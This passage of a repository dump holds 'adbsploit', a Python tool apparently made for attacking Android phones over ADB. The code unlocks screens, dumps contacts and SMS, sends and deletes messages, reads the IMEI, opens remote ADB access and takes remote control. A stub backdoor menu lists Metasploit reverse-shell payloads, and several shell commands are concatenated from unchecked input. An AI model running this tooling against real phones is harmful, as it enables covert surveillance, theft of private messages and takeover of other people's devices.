screen").format(Fore.RED, Fore.WHITE)) 811 | ey = input(arrow + " adbsploit" + Fore.RED + "(swipe) " + Fore.WHITE + "> ") 812 | print(arrow + ("[{0}+{1}] Specify the duration").format(Fore.RED, Fore.WHITE)) 813 | duration = input(arrow + " adbsploit" + Fore.RED + "(swipe) " + Fore.WHITE + "> ") 814 | d = adbutils.adb.device(device) 815 | d.swipe(sx, sy, ex, ey, duration) 816 | print(arrow + Fore.GREEN + ("The swipe is made...")) 817 | except: 818 | print(arrow + ("[{0}+{1}] An error ocurred during the swipe...").format(Fore.RED, Fore.WHITE)) 819 | else: 820 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 821 | 822 | # status of screen 823 | def screen(): 824 | global device 825 | if device != 'none': 826 | try: 827 | print(arrow + ("[{0}+{1}] Specify the status of the screen (on/off)").format(Fore.RED, Fore.WHITE)) 828 | status = input(arrow + " adbsploit" + Fore.RED + "(screen) " + Fore.WHITE + "> ") 829 | d = adbutils.adb.device(device) 830 | if status == 'on': 831 | d.switch_screen(True) 832 | print(arrow + Fore.GREEN + ("The screen is on...")) 833 | elif status == 'off': 834 | d.switch_screen(False) 835 | print(arrow + Fore.GREEN + ("The screen is off...")) 836 | else: 837 | print(Fore.RED + "That option doesn't exists...") 838 | except: 839 | print(arrow + ("[{0}+{1}] An error ocurred during the swipe...").format(Fore.RED, Fore.WHITE)) 840 | else: 841 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 842 | 843 | # unlock the screen 844 | def unlock_screen(): 845 | global device 846 | if device != 'none': 847 | try: 848 | d = adbutils.adb.device(device) 849 | if d.is_screen_on() == False: 850 | print( 851 | arrow + ("[{0}+{1}] Specify the unlocking code, leave it blank if don't have code").format(Fore.RED, 852 | Fore.WHITE)) 853 | code = input(arrow + " adbsploit" + Fore.RED + "(unlock_screen) " + Fore.WHITE + "> ") 854 | d.switch_screen(True) 855 | d.swipe(200, 900, 200, 300, 0.5) 856 | d.shell("input text " + str(code)) 857 | d.keyevent(66) 858 | print(arrow + Fore.GREEN + "The screen is unlocked...") 859 | else: 860 | print(arrow + Fore.GREEN + "The screen is already unlocked...") 861 | except: 862 | print(arrow + ("[{0}+{1}] An error ocurred unlocking the device...").format(Fore.RED, Fore.WHITE)) 863 | else: 864 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 865 | 866 | # lock screen 867 | def lock_screen(): 868 | global device 869 | if device != 'none': 870 | try: 871 | d = adbutils.adb.device(device) 872 | d.keyevent(26) 873 | print(Fore.GREEN + "The screen is now locked...") 874 | except: 875 | print(arrow + ("[{0}+{1}] An error ocurred unlocking the device...").format(Fore.RED, Fore.WHITE)) 876 | else: 877 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 878 | 879 | # show mac address 880 | def show_macaddress(): 881 | global device 882 | if device != 'none': 883 | try: 884 | d = adbutils.adb.device(device) 885 | print(arrow + Fore.GREEN + d.shell("cat /sys/class/net/wlan0/address")) 886 | except: 887 | print(arrow + ("[{0}+{1}] An error ocurred showing the mac address...").format(Fore.RED, Fore.WHITE)) 888 | else: 889 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 890 | 891 | # screen shot 892 | def screenshot(): 893 | global device 894 | if device != 'none': 895 | try: 896 | print(arrow + ("[{0}+{1}] Specify the name of the screenshot").format(Fore.RED, Fore.WHITE)) 897 | name = input(arrow + " adbsploit" + Fore.RED + "(screenshot) " + Fore.WHITE + "> ") 898 | os.system("adb -s " + device + " exec-out screencap -p >" + name + ".png") 899 | print(arrow + Fore.GREEN + "An image is created with the name " + name + ".png ...") 900 | except: 901 | print(arrow + ("[{0}+{1}] An error ocurred making the screenshot...").format(Fore.RED, Fore.WHITE)) 902 | else: 903 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 904 | 905 | # dump memory info 906 | def dump_meminfo(): 907 | global device 908 | if device != 'none': 909 | try: 910 | print(arrow + ("[{0}+{1}] Specify the meminfo (all/package_name)").format(Fore.RED, Fore.WHITE)) 911 | app = input(arrow + " adbsploit" + Fore.RED + "(dump_meminfo) " + Fore.WHITE + "> ") 912 | d = adbutils.adb.device(device) 913 | if app == 'all': 914 | print(arrow + Fore.GREEN + d.shell("dumpsys meminfo")) 915 | else: 916 | print(arrow + Fore.GREEN + d.shell("dumpsys meminfo " + app)) 917 | except: 918 | print(arrow + ("[{0}+{1}] An error ocurred dumping the meminfo...").format(Fore.RED, Fore.WHITE)) 919 | else: 920 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 921 | 922 | # shows background process list 923 | def process_list(): 924 | global device 925 | if device != 'none': 926 | try: 927 | d = adbutils.adb.device(device) 928 | print(arrow + Fore.GREEN + d.shell("ps -ef")) 929 | except: 930 | print(arrow + ("[{0}+{1}] An error ocurred listing the processes..").format(Fore.RED, Fore.WHITE)) 931 | else: 932 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 933 | 934 | # shows tcp ip 935 | def tcpip(): 936 | global device 937 | if device != 'none': 938 | try: 939 | print(arrow + ("[{0}+{1}] Specify the port").format(Fore.RED, Fore.WHITE)) 940 | port = input(arrow + " adbsploit" + Fore.RED + "(tcpip) " + Fore.WHITE + "> ") 941 | if port == '': 942 | print(Fore.RED + "You must specify a port to listen on your device...") 943 | else: 944 | os.system("adb -s " + device + " tcpip " + port) 945 | except: 946 | print(arrow + ("[{0}+{1}] An error ocurred enabling the tcpip mode..").format(Fore.RED, Fore.WHITE)) 947 | else: 948 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 949 | 950 | # extract contacts 951 | def extract_contacts(): 952 | global device 953 | if device != 'none': 954 | try: 955 | print(arrow + ("[{0}+{1}] This option is still in BETA").format(Fore.RED, Fore.WHITE)) 956 | d = adbutils.adb.device(device) 957 | output = d.shell("content query --uri content://contacts/phones/ --projection display_name:number:notes ") 958 | print(output) 959 | d.shell("content query --uri content://contacts/phones/ --projection display_name:number:notes ") 960 | except: 961 | print(arrow + ("[{0}+{1}] An error ocurred extracting the contacts...").format(Fore.RED, Fore.WHITE)) 962 | else: 963 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 964 | 965 | def extract_sms(): 966 | global device 967 | if device != 'none': 968 | try: 969 | print(arrow + ("[{0}+{1}] This option is still in BETA").format(Fore.RED, Fore.WHITE)) 970 | d = adbutils.adb.device(device) 971 | output = d.shell("content query --uri content://sms/ --projection _id:address:date:body") 972 | print(output) 973 | except: 974 | print(arrow + ("[{0}+{1}] An error ocurred extracting sms...").format(Fore.RED, Fore.WHITE)) 975 | else: 976 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 977 | 978 | #todo 979 | def delete_sms(): 980 | global device 981 | if device != 'none': 982 | try: 983 | print(arrow + ("[{0}+{1}] This option is still in BETA").format(Fore.RED, Fore.WHITE)) 984 | d = adbutils.adb.device(device) 985 | print(arrow + ("[{0}+{1}] Specify row id").format(Fore.RED, Fore.WHITE)) 986 | row = input(arrow + " adbsploit" + Fore.RED + "(delete-sms) " + Fore.WHITE + "> ") 987 | d.shell("content delete --uri content://sms/ --where" + '"row=' + "'" + row + "'" + '"') 988 | print('SMS Deleted') 989 | except: 990 | print(arrow + ("[{0}+{1}] An error ocurred deleting the sms...").format(Fore.RED, Fore.WHITE)) 991 | else: 992 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 993 | 994 | 995 | def send_sms(): 996 | global device 997 | if device != 'none': 998 | try: 999 | print(arrow + ("[{0}+{1}] This option is still in BETA").format(Fore.RED, Fore.WHITE)) 1000 | d = adbutils.adb.device(device) 1001 | print(arrow + ("[{0}+{1}] Specify the phone number (+34600112233)").format(Fore.RED, Fore.WHITE)) 1002 | number = input(arrow + " adbsploit" + Fore.RED + "(send-sms) " + Fore.WHITE + "> ") 1003 | print(arrow + ("[{0}+{1}] Specify the sms message").format(Fore.RED, Fore.WHITE)) 1004 | message = input(arrow + " adbsploit" + Fore.RED + "(send-sms) " + Fore.WHITE + "> ") 1005 | d.shell( 1006 | "service call isms 7 i32 0 s16 " + "com.android.mms.service " + "s16 " + '"' + number + '"' + " s16 " + '"null"' + " s16 " + '"' + message + '"' + ' s16 "null" s16 "null"') 1007 | print(arrow + Fore.GREEN + 'SMS Sent correctly...') 1008 | except: 1009 | print(arrow + ("[{0}+{1}] An error ocurred sending the sms...").format(Fore.RED, Fore.WHITE)) 1010 | else: 1011 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1012 | 1013 | # shows current app 1014 | def current_app(): 1015 | global device 1016 | if device != 'none': 1017 | try: 1018 | d = adbutils.adb.device(device) 1019 | print(arrow + Fore.GREEN + d.current_app()) 1020 | except: 1021 | print(arrow + ("[{0}+{1}] An error ocurred getting the current app...").format(Fore.RED, Fore.WHITE)) 1022 | else: 1023 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1024 | 1025 | # shows device info 1026 | def device_info(): 1027 | global device 1028 | if device != 'none': 1029 | try: 1030 | d = adbutils.adb.device(device) 1031 | print(arrow + "Product Model: "+ Fore.GREEN + d.shell("getprop ro.product.model")) 1032 | print(arrow + "Android Version: " + Fore.GREEN + d.shell("getprop ro.build.version.release")) 1033 | print(arrow + "Android Id: " + Fore.GREEN + d.shell("settings get secure android_id")) 1034 | print(arrow + "IMEI: " + Fore.GREEN + d.shell("service call iphonesubinfo 1")) 1035 | except: 1036 | print(arrow + ("[{0}+{1}] An error ocurred getting the current app...").format(Fore.RED, Fore.WHITE)) 1037 | else: 1038 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1039 | 1040 | # recovery mode 1041 | def recovery_mode(): 1042 | global device 1043 | if device != 'none': 1044 | try: 1045 | d = adbutils.adb.device(device) 1046 | d.shell("reboot recovery") 1047 | print(arrow+Fore.GREEN+"Entering in recovery mode...") 1048 | except: 1049 | print(arrow + ("[{0}+{1}] An error ocurred entering in recovery mode...").format(Fore.RED, Fore.WHITE)) 1050 | else: 1051 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1052 | 1053 | # fast boot mode on 1054 | def fastboot_mode(): 1055 | global device 1056 | if device != 'none': 1057 | try: 1058 | d = adbutils.adb.device(device) 1059 | d.shell("reboot bootloader") 1060 | print(arrow+Fore.GREEN+"Entering in fastboot mode...") 1061 | except: 1062 | print(arrow + ("[{0}+{1}] An error ocurred entering in fastboot mode...").format(Fore.RED, Fore.WHITE)) 1063 | else: 1064 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1065 | 1066 | # kill process 1067 | def kill_process(): 1068 | global device 1069 | if device != 'none': 1070 | try: 1071 | d = adbutils.adb.device(device) 1072 | print(arrow + ("[{0}+{1}] Specify the PID").format(Fore.RED, Fore.WHITE)) 1073 | pid = input(arrow + " adbsploit" + Fore.RED + "(kill-process) " + Fore.WHITE + "> ") 1074 | d.shell("taskkill /PID "+ pid) 1075 | print(arrow+Fore.GREEN+"Killing the process...") 1076 | except: 1077 | print(arrow + ("[{0}+{1}] An error ocurred killing the process...").format(Fore.RED, Fore.WHITE)) 1078 | else: 1079 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1080 | 1081 | # extract app detaisl, cache 1082 | def extract_app(): 1083 | global device 1084 | app = 'com.whatsapp' 1085 | d = adbutils.adb.device(device) 1086 | path = d.shell("pm path " + app) 1087 | d.shell("pull " + path[8:]) 1088 | 1089 | # screen recorder 1090 | def screenrecord(): 1091 | global device 1092 | if device != 'none': 1093 | print(arrow + ("[{0}+{1}] Introduce the path and file name: (/home/user/Desktop/record.mp4)").format(Fore.RED, Fore.WHITE)) 1094 | ans = input(arrow + " adbsploit" + Fore.RED + "(kill-process) " + Fore.WHITE + "> ") 1095 | try: 1096 | if sys.platform.startswith('win32'): 1097 | if shutil.which("scrcpy") is not None: 1098 | if ans == "": 1099 | subprocess.Popen(['scrcpy -r record.mp4 -s ' + device], 1100 | shell=True, 1101 | stdin=subprocess.PIPE, 1102 | stdout=subprocess.PIPE, 1103 | stderr=subprocess.STDOUT, ) 1104 | else: 1105 | subprocess.Popen(['scrcpy -r ' + ans + ' -s ' + device], 1106 | shell=True, 1107 | stdin=subprocess.PIPE, 1108 | stdout=subprocess.PIPE, 1109 | stderr=subprocess.STDOUT, ) 1110 | 1111 | else: 1112 | print(arrow + ("[{0}+{1}] ADBSploit use scrcpy to remote control").format(Fore.RED, Fore.WHITE)) 1113 | print(arrow + ( 1114 | "[{0}+{1}] You must install it from https://github.com/Genymobile/scrcpy/releases").format( 1115 | Fore.RED, Fore.WHITE)) 1116 | 1117 | elif sys.platform.startswith('linux'): 1118 | if shutil.which("scrcpy") is not None: 1119 | if ans == "": 1120 | subprocess.Popen(['scrcpy -r record.mp4 -s ' + device], 1121 | shell=True, 1122 | stdin=subprocess.PIPE, 1123 | stdout=subprocess.PIPE, 1124 | stderr=subprocess.STDOUT, ) 1125 | else: 1126 | subprocess.Popen(['scrcpy -r ' + ans + ' -s ' + device], 1127 | shell=True, 1128 | stdin=subprocess.PIPE, 1129 | stdout=subprocess.PIPE, 1130 | stderr=subprocess.STDOUT, ) 1131 | else: 1132 | print(arrow + ( 1133 | "[{0}+{1}] ADBSploit use scrcpy to remote control, do you want to install it? (y/n)").format( 1134 | Fore.RED, Fore.WHITE)) 1135 | ans = input(arrow + " adbsploit" + Fore.RED + "(remote-control) " + Fore.WHITE + "> ") 1136 | if ans == "y" or ans == "Y": 1137 | subprocess.Popen('sudo apt-get install scrcpy', shell=True) 1138 | elif ans == "n" or ans == "N": 1139 | print(arrow + ( 1140 | "[{0}+{1}] Continue with ADBSploit...").format( 1141 | Fore.RED, Fore.WHITE)) 1142 | else: 1143 | print(arrow + ( 1144 | "[{0}+{1}] The option is incorrect please try again").format( 1145 | Fore.RED, Fore.WHITE)) 1146 | elif sys.platform.startswith('darwin'): 1147 | if shutil.which("scrcpy") is not None: 1148 | if ans == "": 1149 | subprocess.Popen(['scrcpy -r record.mp4 -s ' + device], 1150 | shell=True, 1151 | stdin=subprocess.PIPE, 1152 | stdout=subprocess.PIPE, 1153 | stderr=subprocess.STDOUT, ) 1154 | else: 1155 | subprocess.Popen(['scrcpy -r ' + ans + ' -s ' + device], 1156 | shell=True, 1157 | stdin=subprocess.PIPE, 1158 | stdout=subprocess.PIPE, 1159 | stderr=subprocess.STDOUT, ) 1160 | else: 1161 | print(arrow + ( 1162 | "[{0}+{1}] ADBSploit use scrcpy to remote control, do you want to install it? (y/n)").format( 1163 | Fore.RED, Fore.WHITE)) 1164 | ans = input(arrow + " adbsploit" + Fore.RED + "(remote-control) " + Fore.WHITE + "> ") 1165 | if ans == "y" or ans == "Y": 1166 | subprocess.call( 1167 | '/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"', 1168 | shell=True) 1169 | subprocess.call('brew install scrcpy', shell=True) 1170 | elif ans == "n" or ans == "N": 1171 | print(arrow + ( 1172 | "[{0}+{1}] Continue with ADBSploit...").format( 1173 | Fore.RED, Fore.WHITE)) 1174 | else: 1175 | print(arrow + ( 1176 | "[{0}+{1}] The option is incorrect please try again").format( 1177 | Fore.RED, Fore.WHITE)) 1178 | else: 1179 | print(arrow + ("[{0}+{1}] An error ocurred streaming the screen...").format(Fore.RED, Fore.WHITE)) 1180 | except: 1181 | print(arrow + ("[{0}+{1}] An error ocurred streaming the screen...").format(Fore.RED, Fore.WHITE)) 1182 | else: 1183 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1184 | 1185 | 1186 | # remote controll function 1187 | def remote_control(): 1188 | global device 1189 | if device != 'none': 1190 | try: 1191 | if sys.platform.startswith('win32'): 1192 | if shutil.which("scrcpy") is not None: 1193 | subprocess.Popen(['scrcpy -s ' + device], 1194 | shell=True, 1195 | stdin=subprocess.PIPE, 1196 | stdout=subprocess.PIPE, 1197 | stderr=subprocess.STDOUT,) 1198 | else: 1199 | print(arrow + ("[{0}+{1}] ADBSploit use scrcpy to remote control").format(Fore.RED, Fore.WHITE)) 1200 | print(arrow + ("[{0}+{1}] You must install it from https://github.com/Genymobile/scrcpy/releases").format(Fore.RED, Fore.WHITE)) 1201 | 1202 | elif sys.platform.startswith('linux'): 1203 | if shutil.which("scrcpy") is not None: 1204 | subprocess.Popen(['scrcpy -s ' + device], 1205 | shell=True, 1206 | stdin=subprocess.PIPE, 1207 | stdout=subprocess.PIPE, 1208 | stderr=subprocess.STDOUT,) 1209 | else: 1210 | print(arrow + ("[{0}+{1}] ADBSploit use scrcpy to remote control, do you want to install it? (y/n)").format(Fore.RED, Fore.WHITE)) 1211 | ans = input(arrow + " adbsploit" + Fore.RED + "(remote-control) " + Fore.WHITE + "> ") 1212 | if ans == "y" or ans == "Y": 1213 | subprocess.Popen('sudo apt-get install scrcpy',shell=True) 1214 | elif ans == "n" or ans == "N": 1215 | print(arrow + ( 1216 | "[{0}+{1}] Continue with ADBSploit...").format( 1217 | Fore.RED, Fore.WHITE)) 1218 | else: 1219 | print(arrow + ( 1220 | "[{0}+{1}] The option is incorrect please try again").format( 1221 | Fore.RED, Fore.WHITE)) 1222 | elif sys.platform.startswith('darwin'): 1223 | if shutil.which("scrcpy") is not None: 1224 | subprocess.Popen(['scrcpy -s ' + device], 1225 | shell=True, 1226 | stdin=subprocess.PIPE, 1227 | stdout=subprocess.PIPE, 1228 | stderr=subprocess.STDOUT,) 1229 | else: 1230 | print(arrow + ("[{0}+{1}] ADBSploit use scrcpy to remote control, do you want to install it? (y/n)").format(Fore.RED, Fore.WHITE)) 1231 | ans = input(arrow + " adbsploit" + Fore.RED + "(remote-control) " + Fore.WHITE + "> ") 1232 | if ans == "y" or ans == "Y": 1233 | subprocess.call('/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"',shell=True) 1234 | subprocess.call('brew install scrcpy', shell=True) 1235 | elif ans == "n" or ans == "N": 1236 | print(arrow + ( 1237 | "[{0}+{1}] Continue with ADBSploit...").format( 1238 | Fore.RED, Fore.WHITE)) 1239 | else: 1240 | print(arrow + ( 1241 | "[{0}+{1}] The option is incorrect please try again").format( 1242 | Fore.RED, Fore.WHITE)) 1243 | else: 1244 | print(arrow + ("[{0}+{1}] An error ocurred streaming the screen...").format(Fore.RED, Fore.WHITE)) 1245 | except: 1246 | print(arrow + ("[{0}+{1}] An error ocurred streaming the screen...").format(Fore.RED, Fore.WHITE)) 1247 | else: 1248 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1249 | 1250 | # TODO 1251 | def evil_app(): 1252 | global device 1253 | if device != 'none': 1254 | try: 1255 | d = adbutils.adb.device(device) 1256 | print(arrow + ("[{0}+{1}] Specify the App you want to infect: (com.whatsapp)").format(Fore.RED, Fore.WHITE)) 1257 | app = input(arrow + " adbsploit" + Fore.RED + "(kill-process) " + Fore.WHITE + "> ") 1258 | path = d.shell("pm path " + app) 1259 | d.shell("pull " + path[8:]) 1260 | 1261 | 1262 | except: 1263 | print(arrow + ("[{0}+{1}] An error ocurred killing the process...").format(Fore.RED, Fore.WHITE)) 1264 | else: 1265 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1266 | 1267 | def backdoor(): 1268 | global device 1269 | if device != 'none': 1270 | if shutil.which("msfvenom") is not None: 1271 | try: 1272 | d = adbutils.adb.device(device) 1273 | print(arrow + ("[{0}+{1}] Specify the payload: (com.whatsapp)").format(Fore.RED, Fore.WHITE)) 1274 | table = Table() 1275 | table.add_column("Name", style="cyan") 1276 | table.add_column("Description", style="magenta") 1277 | table.add_row("meterpreter_reverse_http", "Android Meterpreter Reverse HTTP Stager") 1278 | table.add_row("meterpreter_reverse_https", "Android Meterpreter Reverse HTTPS Stager") 1279 | table.add_row("meterpreter_reverse_tcp", "Android Meterpreter Reverse TCP Stager") 1280 | table.add_row("meterpreter_reverse_http_inline", "Android Meterpreter Reverse HTTP Inline") 1281 | table.add_row("meterpreter_reverse_https_inline", "Android Meterpreter Reverse HTTPS Inline") 1282 | table.add_row("meterpreter_reverse_tcp_inline", "Android Meterpreter Reverse TCP Inline") 1283 | table.add_row("shell_reverse_http", "Android Command Shell Reverse HTTP Stager") 1284 | table.add_row("shell_reverse_https", "Android Command Shell Reverse HTTP Stager") 1285 | table.add_row("shell_reverse_tcp", "Android Command Shell Reverse HTTP Stager") 1286 | console = Console() 1287 | console.print(table) 1288 | print(arrow + ("[{0}+{1}] Specify the payload: (meterpreter_reverse_http)").format(Fore.RED, Fore.WHITE)) 1289 | payload = input(arrow + " adbsploit" + Fore.RED + "(backdoor) " + Fore.WHITE + "> ") 1290 | if payload == "": 1291 | print() 1292 | elif payload == "meterpreter_reverse_http": 1293 | print() 1294 | elif payload == "meterpreter_reverse_https": 1295 | print() 1296 | elif payload == "meterpreter_reverse_tcp": 1297 | print() 1298 | elif payload == "meterpreter_reverse_http_inline": 1299 | print() 1300 | elif payload == "meterpreter_reverse_https_inline": 1301 | print() 1302 | elif payload == "meterpreter_reverse_tcp_inline": 1303 | print() 1304 | elif payload == "shell_reverse_http": 1305 | print() 1306 | elif payload == "shell_reverse_httpS": 1307 | print() 1308 | elif payload == "shell_reverse_TCP": 1309 | print() 1310 | else: 1311 | print(arrow + ("[{0}+{1}] Select a correct payload...").format(Fore.RED, Fore.WHITE)) 1312 | except: 1313 | print(arrow + ("[{0}+{1}] An error ocurred generating the backdoor...").format(Fore.RED, Fore.WHITE)) 1314 | else: 1315 | print(arrow + ("[{0}+{1}] ADBSploit use Metasploit for generating backdoors, you must install to use this option").format( 1316 | Fore.RED, Fore.WHITE)) 1317 | print(arrow + ( 1318 | "[{0}+{1}] Install it via https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers ").format( 1319 | Fore.RED, Fore.WHITE)) 1320 | else: 1321 | print(arrow + ("[{0}+{1}] You must select a device before...").format(Fore.RED, Fore.WHITE)) 1322 | 1323 | 1324 | def clear(): 1325 | if sys.platform.startswith('win32'): 1326 | os.system('cls') 1327 | elif sys.platform.startswith('linux'): 1328 | os.system('clear') 1329 | elif sys.platform.startswith('darwin'): 1330 | os.system('clear') 1331 | 1332 | f = Figlet() 1333 | list = ["graffiti", "slant", "avatar", "bell", "big", "doom", 1334 | "standard", "stop"] 1335 | f.setFont(font=random.choice(list)) 1336 | print(f.renderText('>_adbsploit')) 1337 | print("v0.3" + "\t \t \t \t" + "Developed by krishpranav at " + Fore.RED + "https://github.com/krishpranav/adbsploit ") 1338 | print("") 1339 | print(Fore.WHITE + "Type" + Fore.RED + " help " + Fore.WHITE + "for more info") 1340 | 1341 | # shows version of the tool 1342 | def version(): 1343 | """Show the version of the tool""" 1344 | table = Table() 1345 | table.add_column("Version", style="cyan") 1346 | table.add_column("URL", style="magenta") 1347 | table.add_column("Developed", style="magenta") 1348 | table.add_row('0.2.1', "https://github.com/krishpranav/adbsploit", 'krishpranav') 1349 | console = Console() 1350 | console.print(table) 1351 | 1352 | # help table 1353 | def help(): 1354 | table = Table() 1355 | table.add_column("Command", style="cyan") 1356 | table.add_column("Description", style="magenta") 1357 | table.add_column("Command", style="cyan") 1358 | table.add_column("Description", style="magenta") 1359 | table.add_row('devices', 'List all devices detected', 'select', 'Select the device to use') 1360 | table.add_row('connect', 'Connect to the device', 'list-forward', 'List forward ports') 1361 | table.add_row('wifi', 'Manage the wifi of the device', 'start-app', 'Start an app') 1362 | table.add_row('stop-app', 'Stop an app', 'clear-app', 'Clear cache of the app') 1363 | table.add_row('airplane', 'Manage the airplane mode', 'dumpsys', 'Provide info about system services (Needs Root)') 1364 | table.add_row('list-apps', 'List all apps installed', 'wpa-supplicant', 1365 | 'Export the wpa-supplicant file (Needs Root)') 1366 | table.add_row('install', 'Install an apk', 'install-remote', 'Install an app via URL') 1367 | table.add_row('uninstall', 'Uninstall an app', 'shell', 'Open a shell on the device') 1368 | table.add_row('shutdown', 'Shutdown the device', 'reboot', 'Reboot the device') 1369 | table.add_row('logs', 'List the logs of the device', 'show-ip', 'Show the ip of the device') 1370 | table.add_row('appinfo', 'Obtain info of the package', 'battery', 'Show battery info') 1371 | table.add_row('netstat', 'Show the netstat of the device', 'sound', 'Control teh sound of the device') 1372 | table.add_row('check-screen', 'Check the status of the screen', 'dump-hierarchy', 'Dump the hierarchy info') 1373 | table.add_row('keyevent', 'Send a keyevent to the device', 'show-keyevents', 'Show the keyevents') 1374 | table.add_row('open-browser', 'Open a URL in the device', 'remove-password', 1375 | 'Remove the lock screen password (Needs Root))') 1376 | table.add_row('swipe', 'Swipe the screen', 'screen', 'Change the screen status ON/OFF') 1377 | table.add_row('unlock-screen', 'Unlock the screen of the device', 'lock-screen', 'Lock the screen of the device') 1378 | table.add_row('show-mac', 'Show teh mac address of the device', 'dump-meminfo', 'Dump de memory info of the device') 1379 | table.add_row('process-list', 'List all the device process', 'tcpip', 'Change the device to tcp') 1380 | table.add_row('extract-app', 'Extract the apk of an installed app', 'extract-contacts', 1381 | 'Show the contacts saved in the device') 1382 | table.add_row('extract-sms', 'Extract sms saved in the phone', 'delete-sms', 'Delete the sms specified') 1383 | table.add_row('send-sms', 'Send sms to the specified phone', 'recovery-mode', 'Enter the device in recovery mode') 1384 | table.add_row('fastboot-mode', 'Enter in fastboot mode', 'device-info', 'Get device info (IMEI, Android Id,...)') 1385 | table.add_row('kill-process', 'Kill the process on the device', 'screenrecord', 'Records the device screen') 1386 | table.add_row('remote-control', 'Take control of the target device', '', '') 1387 | table.add_row('clear', 'Clear the screen of adbsploit', 'version', 'Show the version of adbsploit') 1388 | table.add_row('exit', 'Exit adbsploit', '', '') 1389 | console = Console() 1390 | console.print(table) 1391 | 1392 | # run script 1393 | if __name__ == '__main__': 1394 | f = Figlet() 1395 | list = ["graffiti", "slant", "avatar", "bell", "big", "doom", 1396 | "standard", "stop"] 1397 | f.setFont(font=random.choice(list)) 1398 | print(f.renderText('>_adbsploit')) 1399 | print("v0.2.1" + "\t \t \t \t" + "Developed by Krishpranav at " + Fore.RED + "https://github.com/krishpranav/adbsploit ") 1400 | print("") 1401 | print(Fore.WHITE + "Type" + Fore.RED + " help " + Fore.WHITE + "for more info") 1402 | main() -------------------------------------------------------------------------------- /pics/ref.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/adbsploit/fc9264b21d2271138b64c9fa1c411f1e3e9a7367/pics/ref.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | setuptools~=49.2.0 2 | adbutils~=0.8.1 3 | pyfiglet~=0.8.post1 4 | rich~=4.2.0 5 | colorama~=0.4.3 -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup, find_packages 2 | 3 | setup( 4 | name='adbsploit', 5 | version='0.1', 6 | author='krish pranav', 7 | author_email='krisna.pranav@gmail.com', 8 | description="A python based tool for exploiting and managing android devices via ADB", 9 | url='https://github.com/krishpranav/adbsploit', 10 | packages=find_packages(), 11 | py_modules=['adbsploit'], 12 | install_requires=[ 13 | 'setuptools~=49.2.0', 14 | 'colorama', 15 | 'adbutils', 16 | 'pyfiglet', 17 | 'rich' 18 | ], 19 | entry_points={ 20 | 'console_scripts': ['adbsploit=adbsploit.adbsploit:main'], 21 | }, 22 | ) --------------------------------------------------------------------------------